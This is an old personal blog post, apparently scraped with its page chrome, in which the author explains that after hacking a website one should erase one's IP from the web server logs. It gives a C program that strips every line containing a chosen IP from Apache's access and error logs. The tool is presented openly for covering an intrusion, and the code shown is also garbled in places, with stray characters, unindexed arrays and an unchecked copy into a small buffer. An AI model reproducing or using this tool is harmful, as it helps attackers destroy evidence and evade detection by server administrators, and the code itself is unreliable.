| dorainm's profiledorainm's spaceBlogLists | Help |
|
January 01 Clear httpd logsHacked one website, the most important thing is removed your tracks. here is a example, about how to clear your IP in the web serive's logs. -----------------------------clear_ip.c--------------------------------------- #include "stdio.h"j #include "fcntl.h" #include "utmp.h" #include "sys/types.h" #include "unistd.h" #include "lastlog.h" #include "pwd.h" #define HTTPDA "/etc/httpd/logs/access_log" #define HTTPDE "/etc/httpd/logs/error_log" #define MAXBUFF 8*1024 int main(int argc, char *argv[]) { int i,size; FILE *pfile; FILE *pfile2; char *varlogs[]={HTTPDA,HTTPDE}; char *newlogs[]={"httpda.hm","httpde.hm"}; char buffer[MAXBUFF]; char host_ip[17]; /*usage of the program*/ if(argc!=2) { printf("\n\n"); fprintf(stderr,"Clear web service log\t\tby dorainm dorainm@gmail.com\n\n"); fprintf(stderr,"usage:\t%s <IP>\n\n",argv[0]); exit(1); } strcpy(host_ip,argv[1]); i=0; while(i<2) { printf("Processing %s\t",varlogs); pfile=fopen(varlogs,"r"); if(!pfile) { printf("Can't open %s\n\n",varlogs); i++; continue; } pfile2=fopen(newlogs,"w"); if(!pfile2) { printf("Can't create backup file %s\n\n",newlogs); i++; continue; } else { while(fgets(buffer,MAXBUFF,pfile)!=NULL) { if(!strstr(buffer,host_ip)) { fputs(buffer,pfile2); } } } fclose(pfile); fclose(pfile2); printf("Done\n"); i++; } printf("\n"); system("mv httpda.hm /etc/httpd/logs"); system("mv httpde.hm /etc/httpd/logs"); printf("\n"); printf("Your tracks have been removed\n\n"); printf("Exiting program !!\n\n"); exit(0); } TrackbacksWeblogs that reference this entry
|
|
|